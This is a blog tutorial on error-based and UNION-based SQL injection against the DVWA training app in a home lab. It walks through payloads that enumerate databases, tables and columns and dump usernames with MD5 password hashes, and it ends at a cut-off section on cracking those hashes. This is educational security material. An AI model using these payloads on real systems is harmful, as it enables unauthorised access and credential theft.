AdSense

Monday, April 2, 2018

SQL Injection (II): Error based attacks


SQL INJECTION (II): ERROR BASED ATTACKS

- Layout for this exercise:




1 - Introduction 

- The Error based SQL injection attacks technique consists in forcing the database to perform some operation in which the result will be an error, what reveals information about the contents of the database. 

- The attacker will try to extract from the database  some useful data interpreting the error message. 

- This technique is useful when the attacker can’t exploit the SQL injection vulnerability using other technique such as the UNION command.

- This exploitation technique may be different for each type of DBMS.

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)#Error_based_Exploitation_technique


2 - Examples of Error-based SQL injections

- These SQL injection error-based exercises will be performed from a Kali Linux device against a DVWA version 1.0.8 MySQL database, with a setup of "medium"security level, stored at an Ubuntu Linux device running the XAMPP web server.









- Going to the SQL Injection tab, the following SQL entries (written in green) will be introduced at the user ID form:





2.1) Finding the maximum number of entries 

1,2,3,4,5

- Trying 1,2,3,4,5, 6 ... 











- When arriving to 6 there is no answer, so we can deduce that the maximum number of entries is 5.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=X#  where X =1,2,3,4,5,6 ...

2.2) Finding all the entries of the table

7 OR 1=1

- Because 1=1 is always TRUE the whole sentence is also TRUE and the result displays all the entries contained in the table:



- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=7 OR 1=1, what is always TRUE because 0 OR 1 = 1.


2.3) Discovering the type of database

' (simple quotation mark)

- Entering a simple quote mark the error message shows the name or type of database (MySQL in this case):





- The actual query would be:

SELECT first_name, last_name FROM users WHERE ID = ' , what gives an error answer because there is no user ID='.

- By the way, the single quote ' could be sanitized by a backslash character \' that would produce a scape sequence. 


2.4) Finding the number or columns/attributes selected by the user input field

1 ORDER BY X

- Taking the user ID=1 and trying X = 10, 5, 4, 3 as the column parameters, the application gives an error message:










- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 ORDER BY X#

- Finally, entering X = 2, 1 the answer is correct, what means that the user input fields selects two columns or attributes (first_name, last_name):







2.5) Finding the username

5 UNION SELECT NULL, USER()#

- The username is displayed with the command user():





- The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. 

- The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. 


- For instance, the UNION operator can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=5 UNION SELECT user()

- The NULL value is taken because the UNION command works only when both sides have the same number of values. 

- In this case we have 2 values at the right side (first_name and last_name), so we also need 2 values at the left side (NULL and user()).

- By the way, this query is similar to the next three examples, just changing the parameter user() to parameters version(), @@hostname and database()


2.6) Finding the database version

5 UNION SELECT NULL, VERSION()#

- The database version is displayed with the command version():




2.7) Finding the hostname

5 UNION SELECT NULL, @@HOSTNAME#

- The hostname of the device in which the application is running is displayed:




2.8) Finding the database name

5 UNION SELECT NULL, DATABASE()#

- The command database() fetchs the database name:




2.9) Finding all databases in the server

1 UNION SELECT NULL, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES#

- The result enumerates the databases present in the server:




- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 UNION SELECT null, table_schema FROM information_schema.tables#


2.10)  Finding all tables names inside the database "dvwa"

1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x64767761#

- Where 0x64767761 is the hexadecimal ASCII corresponding to the name "dvwa":



- The result is that there are two tables inside the database "dvwa" (0x64767761 in hexadecimal): "guestbook" and "users".

- In this case the real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=0x64767761#


2.11) Finding column names in the table "users"

1 UNION SELECT NULL,CONCAT(TABLE_NAME,0x0A,COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273#

- Where 0x7573657273 corresponds to the hexadecimal ASCII of the table "users", and 0x0A corresponds to the Line Feed character entered before displaying each column:



- The results displays the names of the columns at the table "users". Some of them seem interesting, for example the column "password" ...


2.12) Finding usernames and passwords from the table "users"

1 UNION SELECT NULL, CONCAT(FIRST_NAME,0x0A, LAST_NAME,0x0A, USER, 0x0A, PASSWORD, 0x0A) FROM users#

- The result is the list of all usernames and passwords (encrypted with the MD5 hash because the database users that algorithm to store them).

- Let's notice that 4 Line Feed characters (0x0A) are used because the answer is composed of 4 subresults (first_name, last_name, user and password):



- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 
UNION
SELECT null, CONCAT(first_name, 0x0A, last_name, 0x0A, user, 0x0A, password, 0x0A) FROM users #



3 - Decrypting the passwords

-  The MD5 passwords hashes obtained before can be decrypted with a tool like this: